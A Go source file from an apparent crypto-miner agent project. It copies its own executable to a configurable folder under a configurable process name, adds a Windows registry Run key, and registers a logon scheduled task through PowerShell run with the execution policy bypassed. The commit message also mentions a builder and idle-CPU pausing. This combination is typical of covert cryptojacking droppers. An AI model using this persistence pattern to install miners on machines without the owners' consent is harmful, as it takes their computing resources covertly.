Files
AetherForge/agent/deploy/install.go
drjones 1313c553e7 Add configurable install paths and enforce mining schedules.
Builder and Settings expose install base/subfolder with live preview. Agent embeds on first exe run to the configured path, pauses for idle CPU and scheduled windows, and reports real system CPU usage.
2026-05-26 23:39:51 -07:00

184 lines
4.9 KiB
Go

package deploy
import (
"fmt"
"io"
"os"
"os/exec"
"path/filepath"
"strings"
"crypto-miner-agent/config"
"golang.org/x/sys/windows/registry"
)
const runFlag = "--run"
// InstallIfNeeded copies the installer to a permanent location, registers auto-start,
// and relaunches the miner from there. Returns true when the current process should exit.
func InstallIfNeeded(cfg config.RuntimeConfig) (bool, error) {
currentExe, err := CurrentExecutable()
if err != nil {
return false, err
}
for _, arg := range os.Args[1:] {
if arg == runFlag {
return false, nil
}
}
installDir, err := cfg.InstallDirectory()
if err != nil {
return false, err
}
installedExe := filepath.Join(installDir, cfg.EffectiveProcessName()+".exe")
if samePath(currentExe, installedExe) {
return false, nil
}
if err := os.MkdirAll(installDir, 0755); err != nil {
return false, fmt.Errorf("create install dir: %w", err)
}
if err := copyFile(currentExe, installedExe); err != nil {
return false, fmt.Errorf("copy miner: %w", err)
}
logPath := filepath.Join(installDir, "miner.log")
_ = os.WriteFile(filepath.Join(installDir, "installed.txt"), []byte(fmt.Sprintf(
"worker=%s\nbuild=%s\nserver=%s\ninstall_dir=%s\ninstalled_exe=%s\n",
cfg.WorkerName, cfg.BuildID, cfg.ServerURL, installDir, installedExe,
)), 0644)
if cfg.AutoStart {
if err := configureAutoStart(cfg.WorkerName, installedExe); err != nil {
return false, fmt.Errorf("auto-start: %w", err)
}
}
if err := configureRunMode(cfg, installedExe); err != nil {
return false, err
}
if err := relaunch(installedExe, logPath); err != nil {
return false, fmt.Errorf("start installed miner: %w", err)
}
return true, nil
}
func InstallDir(workerName, buildID string) (string, error) {
return config.RuntimeConfig{
BuiltinConfig: config.BuiltinConfig{
WorkerName: workerName,
BuildID: buildID,
InstallBase: "localappdata",
InstallRelativePath: config.DefaultInstallRelativePath,
},
}.InstallDirectory()
}
func configureAutoStart(workerName, exePath string) error {
k, _, err := registry.CreateKey(registry.CURRENT_USER, `Software\Microsoft\Windows\CurrentVersion\Run`, registry.SET_VALUE)
if err != nil {
return err
}
defer k.Close()
return k.SetStringValue(registryValueName(workerName), fmt.Sprintf(`"%s" %s`, exePath, runFlag))
}
func configureRunMode(cfg config.RuntimeConfig, installedExe string) error {
switch cfg.RunAs {
case "scheduled":
return createScheduledTask(cfg.WorkerName, installedExe)
case "service":
// Windows service requires a service wrapper; scheduled task at logon is the practical equivalent.
return createScheduledTask(cfg.WorkerName, installedExe)
default:
return nil
}
}
func createScheduledTask(workerName, exePath string) error {
taskName := sanitizeName(workerName)
if taskName == "" {
taskName = "CryptoMinerAgent"
}
script := fmt.Sprintf(
`$action = New-ScheduledTaskAction -Execute '%s' -Argument '%s'; $trigger = New-ScheduledTaskTrigger -AtLogOn; $settings = New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DontStopIfGoingOnBatteries -StartWhenAvailable; Register-ScheduledTask -TaskName 'CryptoMiner-%s' -Action $action -Trigger $trigger -Settings $settings -Force | Out-Null`,
strings.ReplaceAll(exePath, `'`, `''`),
runFlag,
taskName,
)
cmd := exec.Command("powershell", "-NoProfile", "-ExecutionPolicy", "Bypass", "-Command", script)
return cmd.Run()
}
func relaunch(exePath, logPath string) error {
cmd := exec.Command(exePath, runFlag)
cmd.Dir = filepath.Dir(exePath)
cmd.Env = append(os.Environ(), "MINER_LOG_FILE="+logPath)
return cmd.Start()
}
func registryValueName(workerName string) string {
name := sanitizeName(workerName)
if name == "" {
return "CryptoMinerAgent"
}
return "CryptoMiner-" + name
}
func sanitizeName(name string) string {
replacer := strings.NewReplacer(" ", "-", "/", "-", "\\", "-", ":", "-", "*", "", "?", "", "\"", "", "<", "", ">", "", "|", "")
return replacer.Replace(strings.TrimSpace(name))
}
func samePath(a, b string) bool {
a = filepath.Clean(a)
b = filepath.Clean(b)
if strings.EqualFold(a, b) {
return true
}
aAbs, errA := filepath.Abs(a)
bAbs, errB := filepath.Abs(b)
if errA != nil || errB != nil {
return false
}
return strings.EqualFold(aAbs, bAbs)
}
func copyFile(src, dest string) error {
in, err := os.Open(src)
if err != nil {
return err
}
defer in.Close()
out, err := os.OpenFile(dest, os.O_CREATE|os.O_WRONLY|os.O_TRUNC, 0755)
if err != nil {
return err
}
defer out.Close()
_, err = io.Copy(out, in)
return err
}
func ConfigureAutoStart(exePath string, enabled bool) error {
return configureAutoStart("default", exePath)
}
func removeAutoStart() error {
k, err := registry.OpenKey(registry.CURRENT_USER, `Software\Microsoft\Windows\CurrentVersion\Run`, registry.SET_VALUE)
if err != nil {
return nil
}
defer k.Close()
_ = k.DeleteValue("CryptoMinerAgent")
return nil
}